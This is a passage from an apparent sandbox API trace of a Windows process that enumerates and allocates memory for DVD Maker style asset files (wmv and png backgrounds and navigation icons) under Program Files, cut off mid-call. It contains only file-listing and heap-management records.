(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d820 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a4c0 [0245.126] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.126] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.126] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d840 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a5c8 [0245.126] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.126] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d860 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a6d0 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.127] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d880 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a7d8 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.127] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d8a0 [0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a8e0 [0245.127] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d8c0 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92a9e8 [0245.128] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d8e0 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92aaf0 [0245.128] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d900 [0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92abf8 [0245.129] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.129] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.129] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.129] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d920 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92ad00 [0245.129] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.129] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.129] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.129] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91d940 [0245.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92ae08 [0245.129] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.129] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0245.129] GetLastError () returned 0x12 [0245.129] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.129] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0245.130] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0245.130] GetLastError () returned 0x12 [0245.130] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.130] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.131] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.131] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.131] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0245.131] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.131] CreateFileW 